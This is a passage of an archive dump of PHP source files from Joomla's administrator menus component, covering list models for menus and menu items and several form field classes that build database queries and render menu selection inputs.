						'a.id', 'a.menutype', 'a.title', 'a.alias', 'a.note', 'a.path', 'a.link', 'a.type', 'a.parent_id',
						'a.level', 'a.published', 'a.component_id', 'a.checked_out', 'a.checked_out_time', 'a.browserNav',
						'a.access', 'a.img', 'a.template_style_id', 'a.params', 'a.lft', 'a.rgt', 'a.home', 'a.language', 'a.client_id'
					),
					array(
						null, null, null, null, null, null, null, null, null,
						null, 'a.published', null, null, null, null,
						null, null, null, null, null, null, null, null, null
					)
				)
			)
		);
		$query->select(
			'CASE ' .
				' WHEN a.type = ' . $db->quote('component') . ' THEN a.published+2*(e.enabled-1) ' .
				' WHEN a.type = ' . $db->quote('url') . ' AND a.published != -2 THEN a.published+2 ' .
				' WHEN a.type = ' . $db->quote('url') . ' AND a.published = -2 THEN a.published-1 ' .
				' WHEN a.type = ' . $db->quote('alias') . ' AND a.published != -2 THEN a.published+4 ' .
				' WHEN a.type = ' . $db->quote('alias') . ' AND a.published = -2 THEN a.published-1 ' .
				' WHEN a.type = ' . $db->quote('separator') . ' AND a.published != -2 THEN a.published+6 ' .
				' WHEN a.type = ' . $db->quote('separator') . ' AND a.published = -2 THEN a.published-1 ' .
				' WHEN a.type = ' . $db->quote('heading') . ' AND a.published != -2 THEN a.published+8 ' .
				' WHEN a.type = ' . $db->quote('heading') . ' AND a.published = -2 THEN a.published-1 ' .
				' WHEN a.type = ' . $db->quote('container') . ' AND a.published != -2 THEN a.published+8 ' .
				' WHEN a.type = ' . $db->quote('container') . ' AND a.published = -2 THEN a.published-1 ' .
			' END AS published '
		);
		$query->from($db->quoteName('#__menu') . ' AS a');

		// Join over the language
		$query->select('l.title AS language_title, l.image AS language_image, l.sef AS language_sef')
			->join('LEFT', $db->quoteName('#__languages') . ' AS l ON l.lang_code = a.language');

		// Join over the users.
		$query->select('u.name AS editor')
			->join('LEFT', $db->quoteName('#__users') . ' AS u ON u.id = a.checked_out');

		// Join over components
		$query->select('c.element AS componentname')
			->join('LEFT', $db->quoteName('#__extensions') . ' AS c ON c.extension_id = a.component_id');

		// Join over the asset groups.
		$query->select('ag.title AS access_level')
			->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access');

		// Join over the menu types.
		$query->select($db->quoteName(array('mt.id', 'mt.title'), array('menutype_id', 'menutype_title')))
			->join('LEFT', $db->quoteName('#__menu_types', 'mt') . ' ON ' . $db->qn('mt.menutype') . ' = ' . $db->qn('a.menutype'));

		// Join over the associations.
		$assoc = JLanguageAssociations::isEnabled();

		if ($assoc)
		{
			$subQuery = $db->getQuery(true)
				->select('COUNT(' . $db->quoteName('asso1.id') . ') > 1')
				->from($db->quoteName('#__associations', 'asso1'))
				->join('INNER', $db->quoteName('#__associations', 'asso2') . ' ON ' . $db->quoteName('asso1.key') . ' = ' . $db->quoteName('asso2.key'))
				->where(
					array(
						$db->quoteName('asso1.id') . ' = ' . $db->quoteName('a.id'),
						$db->quoteName('asso1.context') . ' = ' . $db->quote('com_menus.item'),
					)
				);

			$query->select('(' . $subQuery . ') AS ' . $db->quoteName('association'));
		}

		// Join over the extensions
		$query->select('e.name AS name')
			->join('LEFT', '#__extensions AS e ON e.extension_id = a.component_id');

		// Exclude the root category.
		$query->where('a.id > 1')
			->where('a.client_id = ' . (int) $this->getState('filter.client_id'));

		// Filter on the published state.
		$published = $this->getState('filter.published');

		if (is_numeric($published))
		{
			$query->where('a.published = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('a.published IN (0, 1)');
		}

		// Filter by search in title, alias or id
		if ($search = trim($this->getState('filter.search')))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			elseif (stripos($search, 'link:') === 0)
			{
				if ($search = substr($search, 5))
				{
					$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
					$query->where('a.link LIKE ' . $search);
				}
			}
			else
			{
				$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
				$query->where('(' . 'a.title LIKE ' . $search . ' OR a.alias LIKE ' . $search . ' OR a.note LIKE ' . $search . ')');
			}
		}

		// Filter the items over the parent id if set.
		$parentId = $this->getState('filter.parent_id');

		if (!empty($parentId))
		{
			$level = $this->getState('filter.level');

			// Create a subquery for the sub-items list
			$subQuery = $db->getQuery(true)
				->select('sub.id')
				->from('#__menu as sub')
				->join('INNER', '#__menu as this ON sub.lft > this.lft AND sub.rgt < this.rgt')
				->where('this.id = ' . (int) $parentId);

			if ($level)
			{
				$subQuery->where('sub.level <= this.level + ' . (int) ($level - 1));
			}

			// Add the subquery to the main query
			$query->where('(a.parent_id = ' . (int) $parentId . ' OR a.parent_id IN (' . (string) $subQuery . '))');
		}

		// Filter on the level.
		elseif ($level = $this->getState('filter.level'))
		{
			$query->where('a.level <= ' . (int) $level);
		}

		// Filter the items over the menu id if set.
		$menuType = $this->getState('filter.menutype');

		// A value "" means all
		if ($menuType == '')
		{
			// Load all menu types we have manage access
			$query2 = $this->getDbo()->getQuery(true)
				->select($this->getDbo()->qn(array('id', 'menutype')))
				->from('#__menu_types')
				->where('client_id = ' . (int) $this->getState('filter.client_id'))
				->order('title');

			// Show protected items on explicit filter only
			$query->where('a.menutype != ' . $db->q('main'));

			$menuTypes = $this->getDbo()->setQuery($query2)->loadObjectList();

			if ($menuTypes)
			{
				$types = array();

				foreach ($menuTypes as $type)
				{
					if ($user->authorise('core.manage', 'com_menus.menu.' . (int) $type->id))
					{
						$types[] = $query->q($type->menutype);
					}
				}

				$query->where($types ? 'a.menutype IN(' . implode(',', $types) . ')' : 0);
			}
		}
		// Default behavior => load all items from a specific menu
		elseif (strlen($menuType))
		{
			$query->where('a.menutype = ' . $db->quote($menuType));
		}
		// Empty menu type => error
		else
		{
			$query->where('1 != 1');
		}

		// Filter on the access level.
		if ($access = $this->getState('filter.access'))
		{
			$query->where('a.access = ' . (int) $access);
		}

		// Implement View Level Access
		if (!$user->authorise('core.admin'))
		{
			$groups = $user->getAuthorisedViewLevels();

			if (!empty($groups))
			{
				$query->where('a.access IN (' . implode(',', $groups) . ')');
			}
		}

		// Filter on the language.
		if ($language = $this->getState('filter.language'))
		{
			$query->where('a.language = ' . $db->quote($language));
		}

		// Add the list ordering clause.
		$query->order($db->escape($this->getState('list.ordering', 'a.lft')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

		return $query;
	}

	/**
	 * Method to allow derived classes to preprocess the form.
	 *
	 * @param   JForm   $form   A JForm object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  The name of the plugin group to import (defaults to "content").
	 *
	 * @return  void
	 *
	 * @since   3.2
	 * @throws  Exception if there is an error in the form event.
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'content')
	{
		$name = $form->getName();

		if ($name == 'com_menus.items.filter')
		{
			$clientId = $this->getState('filter.client_id');
			$form->setFieldAttribute('menutype', 'clientid', $clientId);
		}
		elseif (false !== strpos($name, 'com_menus.items.modal.'))
		{
			$form->removeField('client_id');

			$clientId = $this->getState('filter.client_id');
			$form->setFieldAttribute('menutype', 'clientid', $clientId);
		}
	}

	/**
	 * Get the client id for a menu
	 *
	 * @param   string   $menuType  The menutype identifier for the menu
	 * @param   boolean  $check     Flag whether to perform check against ACL as well as existence
	 *
	 * @return  integer
	 *
	 * @since   3.7.0
	 */
	protected function getMenu($menuType, $check = false)
	{
		$query = $this->_db->getQuery(true);

		$query->select('a.*')
			->from($this->_db->qn('#__menu_types', 'a'))
			->where('menutype = ' . $this->_db->q($menuType));

		$cMenu = $this->_db->setQuery($query)->loadObject();

		if ($check)
		{
			// Check if menu type exists.
			if (!$cMenu)
			{
				JLog::add(JText::_('COM_MENUS_ERROR_MENUTYPE_NOT_FOUND'), JLog::ERROR, 'jerror');

				return false;
			}
			// Check if menu type is valid against ACL.
			elseif (!JFactory::getUser()->authorise('core.manage', 'com_menus.menu.' . $cMenu->id))
			{
				JLog::add(JText::_('JERROR_ALERTNOAUTHOR'), JLog::ERROR, 'jerror');

				return false;
			}
		}

		return $cMenu;
	}

	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 *
	 * @since   3.0.1
	 */
	public function getItems()
	{
		$store = $this->getStoreId();

		if (!isset($this->cache[$store]))
		{
			$items = parent::getItems();
			$lang  = JFactory::getLanguage();
			$client = $this->state->get('filter.client_id');

			if ($items)
			{
				foreach ($items as $item)
				{
					if ($extension = $item->componentname)
					{
						$lang->load("$extension.sys", JPATH_ADMINISTRATOR, null, false, true)
						|| $lang->load("$extension.sys", JPATH_ADMINISTRATOR . '/components/' . $extension, null, false, true);
					}

					// Translate component name
					if ($client === 1)
					{
						$item->title = JText::_($item->title);
					}
				}
			}

			$this->cache[$store] = $items;
		}

		return $this->cache[$store];
	}
}
com_menus/models/menus.php000060400000013636152455305260011670 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Menu List Model for Menus.
 *
 * @since  1.6
 */
class MenusModelMenus extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'title', 'a.title',
				'menutype', 'a.menutype',
				'client_id', 'a.client_id',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Overrides the getItems method to attach additional metrics to the list.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 *
	 * @since   1.6.1
	 */
	public function getItems()
	{
		// Get a storage key.
		$store = $this->getStoreId('getItems');

		// Try to load the data from internal storage.
		if (!empty($this->cache[$store]))
		{
			return $this->cache[$store];
		}

		// Load the list items.
		$items = parent::getItems();

		// If empty or an error, just return.
		if (empty($items))
		{
			return array();
		}

		// Getting the following metric by joins is WAY TOO SLOW.
		// Faster to do three queries for very large menu trees.

		// Get the menu types of menus in the list.
		$db = $this->getDbo();
		$menuTypes = ArrayHelper::getColumn((array) $items, 'menutype');

		// Quote the strings.
		$menuTypes = implode(
			',',
			array_map(array($db, 'quote'), $menuTypes)
		);

		// Get the published menu counts.
		$query = $db->getQuery(true)
			->select('m.menutype, COUNT(DISTINCT m.id) AS count_published')
			->from('#__menu AS m')
			->where('m.published = 1')
			->where('m.menutype IN (' . $menuTypes . ')')
			->group('m.menutype');

		$db->setQuery($query);

		try
		{
			$countPublished = $db->loadAssocList('menutype', 'count_published');
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		// Get the unpublished menu counts.
		$query->clear('where')
			->where('m.published = 0')
			->where('m.menutype IN (' . $menuTypes . ')');
		$db->setQuery($query);

		try
		{
			$countUnpublished = $db->loadAssocList('menutype', 'count_published');
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		// Get the trashed menu counts.
		$query->clear('where')
			->where('m.published = -2')
			->where('m.menutype IN (' . $menuTypes . ')');
		$db->setQuery($query);

		try
		{
			$countTrashed = $db->loadAssocList('menutype', 'count_published');
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		// Inject the values back into the array.
		foreach ($items as $item)
		{
			$item->count_published   = isset($countPublished[$item->menutype]) ? $countPublished[$item->menutype] : 0;
			$item->count_unpublished = isset($countUnpublished[$item->menutype]) ? $countUnpublished[$item->menutype] : 0;
			$item->count_trashed     = isset($countTrashed[$item->menutype]) ? $countTrashed[$item->menutype] : 0;
		}

		// Add the items to the internal cache.
		$this->cache[$store] = $items;

		return $this->cache[$store];
	}

	/**
	 * Method to build an SQL query to load the list data.
	 *
	 * @return  string  An SQL query
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select all fields from the table.
		$query->select($this->getState('list.select', 'a.id, a.menutype, a.title, a.description, a.client_id'))
			->from($db->quoteName('#__menu_types') . ' AS a')
			->where('a.id > 0');

		$query->where('a.client_id = ' . (int) $this->getState('client_id'));

		// Filter by search in title or menutype
		if ($search = trim($this->getState('filter.search')))
		{
			$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
			$query->where('(' . 'a.title LIKE ' . $search . ' OR a.menutype LIKE ' . $search . ')');
		}

		// Add the list ordering clause.
		$query->order($db->escape($this->getState('list.ordering', 'a.id')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

		return $query;
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.title', $direction = 'asc')
	{
		$search   = $this->getUserStateFromRequest($this->context . '.search', 'filter_search');
		$this->setState('filter.search', $search);

		$clientId = (int) $this->getUserStateFromRequest($this->context . '.client_id', 'client_id', 0, 'int');
		$this->setState('client_id', $clientId);

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Gets the extension id of the core mod_menu module.
	 *
	 * @return  integer
	 *
	 * @since   2.5
	 */
	public function getModMenuId()
	{
		$db    = $this->getDbo();
		$query = $db->getQuery(true)
			->select('e.extension_id')
			->from('#__extensions AS e')
			->where('e.type = ' . $db->quote('module'))
			->where('e.element = ' . $db->quote('mod_menu'))
			->where('e.client_id = ' . (int) $this->getState('client_id'));
		$db->setQuery($query);

		return $db->loadResult();
	}

	/**
	 * Gets a list of all mod_mainmenu modules and collates them by menutype
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public function &getModules()
	{
		$model = JModelLegacy::getInstance('Menu', 'MenusModel', array('ignore_request' => true));
		$result = $model->getModules();

		return $result;
	}
}
com_menus/models/fields/menupreset.php000060400000001715152455305260014171 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Menu\MenuHelper;

JFormHelper::loadFieldClass('list');

/**
 * Administrator Menu Presets list field.
 *
 * @since  3.8.0
 */
class JFormFieldMenuPreset extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var     string
	 *
	 * @since   3.8.0
	 */
	protected $type = 'MenuPreset';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since  3.8.0
	 */
	protected function getOptions()
	{
		$options = array();
		$presets = MenuHelper::getPresets();

		foreach ($presets as $preset)
		{
			$options[] = JHtml::_('select.option', $preset->name, JText::_($preset->title));
		}

		return array_merge(parent::getOptions(), $options);
	}
}
com_menus/models/fields/menuitembytype.php000060400000014365152455305260015067 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

JFormHelper::loadFieldClass('groupedlist');

// Import the com_menus helper.
JLoader::register('MenusHelper', JPATH_ADMINISTRATOR . '/components/com_menus/helpers/menus.php');

/**
 * Supports an HTML grouped select list of menu item grouped by menu
 *
 * @since  3.8.0
 */
class JFormFieldMenuitemByType extends JFormFieldGroupedList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.8.0
	 */
	public $type = 'MenuItemByType';

	/**
	 * The menu type.
	 *
	 * @var    string
	 * @since  3.8.0
	 */
	protected $menuType;

	/**
	 * The client id.
	 *
	 * @var    string
	 * @since  3.8.0
	 */
	protected $clientId;

	/**
	 * The language.
	 *
	 * @var    array
	 * @since  3.8.0
	 */
	protected $language;

	/**
	 * The published status.
	 *
	 * @var    array
	 * @since  3.8.0
	 */
	protected $published;

	/**
	 * The disabled status.
	 *
	 * @var    array
	 * @since  3.8.0
	 */
	protected $disable;

	/**
	 * Method to get certain otherwise inaccessible properties from the form field object.
	 *
	 * @param   string  $name  The property name for which to get the value.
	 *
	 * @return  mixed  The property value or null.
	 *
	 * @since   3.8.0
	 */
	public function __get($name)
	{
		switch ($name)
		{
			case 'menuType':
			case 'clientId':
			case 'language':
			case 'published':
			case 'disable':
				return $this->$name;
		}

		return parent::__get($name);
	}

	/**
	 * Method to set certain otherwise inaccessible properties of the form field object.
	 *
	 * @param   string  $name   The property name for which to set the value.
	 * @param   mixed   $value  The value of the property.
	 *
	 * @return  void
	 *
	 * @since   3.8.0
	 */
	public function __set($name, $value)
	{
		switch ($name)
		{
			case 'menuType':
				$this->menuType = (string) $value;
				break;

			case 'clientId':
				$this->clientId = (int) $value;
				break;

			case 'language':
			case 'published':
			case 'disable':
				$value = (string) $value;
				$this->$name = $value ? explode(',', $value) : array();
				break;

			default:
				parent::__set($name, $value);
		}
	}

	/**
	 * Method to attach a JForm object to the field.
	 *
	 * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the `<field>` tag for the form field object.
	 * @param   mixed             $value    The form field value to validate.
	 * @param   string            $group    The field name group control value. This acts as an array container for the field.
	 *                                      For example if the field has name="foo" and the group value is set to "bar" then the
	 *                                      full field name would end up being "bar[foo]".
	 *
	 * @return  boolean  True on success.
	 *
	 * @see     JFormField::setup()
	 * @since   3.8.0
	 */
	public function setup(SimpleXMLElement $element, $value, $group = null)
	{
		$result = parent::setup($element, $value, $group);

		if ($result == true)
		{
			$menuType = (string) $this->element['menu_type'];

			if (!$menuType)
			{
				$app = JFactory::getApplication('administrator');
				$currentMenuType = $app->getUserState('com_menus.items.menutype', '');
				$menuType        = $app->input->getString('menutype', $currentMenuType);
			}

			$this->menuType  = $menuType;
			$this->clientId  = (int) $this->element['client_id'];
			$this->published = $this->element['published'] ? explode(',', (string) $this->element['published']) : array();
			$this->disable   = $this->element['disable'] ? explode(',', (string) $this->element['disable']) : array();
			$this->language  = $this->element['language'] ? explode(',', (string) $this->element['language']) : array();
		}

		return $result;
	}

	/**
	 * Method to get the field option groups.
	 *
	 * @return  array  The field option objects as a nested array in groups.
	 *
	 * @since   3.8.0
	 */
	protected function getGroups()
	{
		$groups = array();

		$menuType = $this->menuType;

		// Get the menu items.
		$items = MenusHelper::getMenuLinks($menuType, 0, 0, $this->published, $this->language, $this->clientId);

		// Build group for a specific menu type.
		if ($menuType)
		{
			// If the menutype is empty, group the items by menutype.
			$db    = JFactory::getDbo();
			$query = $db->getQuery(true)
				->select($db->quoteName('title'))
				->from($db->quoteName('#__menu_types'))
				->where($db->quoteName('menutype') . ' = ' . $db->quote($menuType));
			$db->setQuery($query);

			try
			{
				$menuTitle = $db->loadResult();
			}
			catch (RuntimeException $e)
			{
				$menuTitle = $menuType;
			}

			// Initialize the group.
			$groups[$menuTitle] = array();

			// Build the options array.
			foreach ($items as $key => $link)
			{
				// Unset if item is menu_item_root
				if ($link->text === 'Menu_Item_Root')
				{
					unset($items[$key]);
					continue;
				}

				$levelPrefix = str_repeat('- ', max(0, $link->level - 1));

				// Displays language code if not set to All
				if ($link->language !== '*')
				{
					$lang = ' (' . $link->language . ')';
				}
				else
				{
					$lang = '';
				}

				$groups[$menuTitle][] = JHtml::_('select.option',
					$link->value, $levelPrefix . $link->text . $lang,
					'value',
					'text',
					in_array($link->type, $this->disable)
				);
			}
		}
		// Build groups for all menu types.
		else
		{
			// Build the groups arrays.
			foreach ($items as $menu)
			{
				// Initialize the group.
				$groups[$menu->title] = array();

				// Build the options array.
				foreach ($menu->links as $link)
				{
					$levelPrefix = str_repeat('- ', max(0, $link->level - 1));

					// Displays language code if not set to All
					if ($link->language !== '*')
					{
						$lang = ' (' . $link->language . ')';
					}
					else
					{
						$lang = '';
					}

					$groups[$menu->title][] = JHtml::_('select.option',
						$link->value,
						$levelPrefix . $link->text . $lang,
						'value',
						'text',
						in_array($link->type, $this->disable)
					);
				}
			}
		}

		// Merge any additional groups in the XML definition.
		$groups = array_merge(parent::getGroups(), $groups);

		return $groups;
	}
}
com_menus/models/fields/menutype.php000060400000006642152455305260013654 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

JFormHelper::loadFieldClass('list');

/**
 * Menu Type field.
 *
 * @since  1.6
 */
class JFormFieldMenutype extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var     string
	 * @since   1.6
	 */
	protected $type = 'menutype';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   1.6
	 */
	protected function getInput()
	{
		$html     = array();
		$recordId = (int) $this->form->getValue('id');
		$size     = (string) ($v = $this->element['size']) ? ' size="' . $v . '"' : '';
		$class    = (string) ($v = $this->element['class']) ? ' class="' . $v . '"' : 'class="text_area"';
		$required = (string) $this->element['required'] ? ' required="required"' : '';
		$clientId = (int) $this->element['clientid'] ?: 0;

		// Get a reverse lookup of the base link URL to Title
		switch ($this->value)
		{
			case 'url':
				$value = JText::_('COM_MENUS_TYPE_EXTERNAL_URL');
				break;

			case 'alias':
				$value = JText::_('COM_MENUS_TYPE_ALIAS');
				break;

			case 'separator':
				$value = JText::_('COM_MENUS_TYPE_SEPARATOR');
				break;

			case 'heading':
				$value = JText::_('COM_MENUS_TYPE_HEADING');
				break;

			case 'container':
				$value = JText::_('COM_MENUS_TYPE_CONTAINER');
				break;

			default:
				$link = $this->form->getValue('link');

				/** @var  MenusModelMenutypes $model */
				$model = JModelLegacy::getInstance('Menutypes', 'MenusModel', array('ignore_request' => true));
				$model->setState('client_id', $clientId);

				$rlu   = $model->getReverseLookup();

				// Clean the link back to the option, view and layout
				$value = JText::_(ArrayHelper::getValue($rlu, MenusHelper::getLinkKey($link)));
				break;
		}

		// Include jQuery
		JHtml::_('jquery.framework');

		// Add the script to the document head.
		JFactory::getDocument()->addScriptDeclaration('
			function jSelectPosition_' . $this->id . '(name) {
				document.getElementById("' . $this->id . '").value = name;
			}
		'
		);

		$link = JRoute::_('index.php?option=com_menus&view=menutypes&tmpl=component&client_id=' . $clientId . '&recordId=' . $recordId);
		$html[] = '<span class="input-append"><input type="text" ' . $required . ' readonly="readonly" id="' . $this->id
			. '" value="' . $value . '" ' . $size . $class . ' />';
		$html[] = '<button type="button" data-target="#menuTypeModal" class="btn btn-primary" data-toggle="modal" title="' . JText::_('JSELECT') . '">'
			. '<span class="icon-list icon-white" aria-hidden="true"></span> '
			. JText::_('JSELECT') . '</button></span>';
		$html[] = JHtml::_(
			'bootstrap.renderModal',
			'menuTypeModal',
			array(
				'url'        => $link,
				'title'      => JText::_('COM_MENUS_ITEM_FIELD_TYPE_LABEL'),
				'width'      => '800px',
				'height'     => '300px',
				'modalWidth' => '80',
				'bodyHeight' => '70',
				'footer'     => '<button type="button" class="btn" data-dismiss="modal">'
						. JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
			)
		);
		$html[] = '<input class="input-small" type="hidden" name="' . $this->name . '" value="'
			. htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') . '" />';

		return implode("\n", $html);
	}
}
com_menus/models/fields/menuparent.php000060400000004507152455305260014162 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JFormHelper::loadFieldClass('list');

/**
 * Menu Parent field.
 *
 * @since  1.6
 */
class JFormFieldMenuParent extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var        string
	 * @since   1.6
	 */
	protected $type = 'MenuParent';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   1.6
	 */
	protected function getOptions()
	{
		$options = array();

		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('DISTINCT(a.id) AS value, a.title AS text, a.level, a.lft')
			->from('#__menu AS a');

		// Filter by menu type.
		if ($menuType = $this->form->getValue('menutype'))
		{
			$query->where('a.menutype = ' . $db->quote($menuType));
		}
		else
		{
			// Skip special menu types
			$query->where('a.menutype != ' . $db->quote(''));
			$query->where('a.menutype != ' . $db->quote('main'));
		}

		// Filter by client id.
		$clientId = $this->getAttribute('clientid');

		if (!is_null($clientId))
		{
			$query->where($db->quoteName('a.client_id') . ' = ' . (int) $clientId);
		}

		// Prevent parenting to children of this item.
		if ($id = $this->form->getValue('id'))
		{
			$query->join('LEFT', $db->quoteName('#__menu') . ' AS p ON p.id = ' . (int) $id)
				->where('NOT(a.lft >= p.lft AND a.rgt <= p.rgt)');
		}

		$query->where('a.published != -2')
			->order('a.lft ASC');

		// Get the options.
		$db->setQuery($query);

		try
		{
			$options = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		// Pad the option text with spaces using depth level as a multiplier.
		for ($i = 0, $n = count($options); $i < $n; $i++)
		{
			if ($clientId != 0)
			{
				// Allow translation of custom admin menus
				$options[$i]->text = str_repeat('- ', $options[$i]->level) . JText::_($options[$i]->text);
			}
			else
			{
				$options[$i]->text = str_repeat('- ', $options[$i]->level) . $options[$i]->text;
			}
		}

		// Merge any additional options in the XML definition.
		$options = array_merge(parent::getOptions(), $options);

		return $options;
	}
}
com_menus/models/fields/componentscategory.php000060400000003404152455305260015722 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

JFormHelper::loadFieldClass('list');

/**
 * Components Category field.
 *
 * @since  1.6
 */
class JFormFieldComponentsCategory extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var     string
	 * @since   3.7.0
	 */
	protected $type = 'ComponentsCategory';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array  An array of JHtml options.
	 *
	 * @since   3.7.0
	 */
	protected function getOptions()
	{
		// Initialise variable.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('DISTINCT a.name AS text, a.element AS value')
			->from('#__extensions as a')
			->where('a.enabled >= 1')
			->where('a.type =' . $db->quote('component'))
			->join('INNER', '#__categories as b ON a.element=b.extension');

		$items = $db->setQuery($query)->loadObjectList();

		if (count($items))
		{
			$lang = JFactory::getLanguage();

			foreach ($items as &$item)
			{
				// Load language
				$extension = $item->value;
				$source = JPATH_ADMINISTRATOR . '/components/' . $extension;
				$lang->load("$extension.sys", JPATH_ADMINISTRATOR, null, false, true)
					|| $lang->load("$extension.sys", $source, null, false, true);

				// Translate component name
				$item->text = JText::_($item->text);
			}

			// Sort by component name
			$items = ArrayHelper::sortObjects($items, 'text', 1, true, true);
		}

		// Merge any additional options in the XML definition.
		$options = array_merge(parent::getOptions(), $items);

		return $options;
	}
}
com_menus/models/fields/modal/menu.php000060400000031650152455305260014043 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\LanguageHelper;

JHtml::_('bootstrap.tooltip', '.hasTooltip');

/**
 * Supports a modal menu item picker.
 *
 * @since  3.7.0
 */
class JFormFieldModal_Menu extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var     string
	 * @since   3.7.0
	 */
	protected $type = 'Modal_Menu';

	/**
	 * Determinate, if the select button is shown
	 *
	 * @var     boolean
	 * @since   3.7.0
	 */
	protected $allowSelect = true;

	/**
	 * Determinate, if the clear button is shown
	 *
	 * @var     boolean
	 * @since   3.7.0
	 */
	protected $allowClear = true;

	/**
	 * Determinate, if the create button is shown
	 *
	 * @var     boolean
	 * @since   3.7.0
	 */
	protected $allowNew = false;

	/**
	 * Determinate, if the edit button is shown
	 *
	 * @var     boolean
	 * @since   3.7.0
	 */
	protected $allowEdit = false;

	/**
	 * Determinate, if the propagate button is shown
	 *
	 * @var     boolean
	 * @since   3.9.0
	 */
	protected $allowPropagate = false;

	/**
	 * Method to get certain otherwise inaccessible properties from the form field object.
	 *
	 * @param   string  $name  The property name for which to get the value.
	 *
	 * @return  mixed  The property value or null.
	 *
	 * @since   3.7.0
	 */
	public function __get($name)
	{
		switch ($name)
		{
			case 'allowSelect':
			case 'allowClear':
			case 'allowNew':
			case 'allowEdit':
			case 'allowPropagate':
				return $this->$name;
		}

		return parent::__get($name);
	}

	/**
	 * Method to set certain otherwise inaccessible properties of the form field object.
	 *
	 * @param   string  $name   The property name for which to set the value.
	 * @param   mixed   $value  The value of the property.
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	public function __set($name, $value)
	{
		switch ($name)
		{
			case 'allowSelect':
			case 'allowClear':
			case 'allowNew':
			case 'allowEdit':
			case 'allowPropagate':
				$value = (string) $value;
				$this->$name = !($value === 'false' || $value === 'off' || $value === '0');
				break;

			default:
				parent::__set($name, $value);
		}
	}

	/**
	 * Method to attach a JForm object to the field.
	 *
	 * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the `<field>` tag for the form field object.
	 * @param   mixed             $value    The form field value to validate.
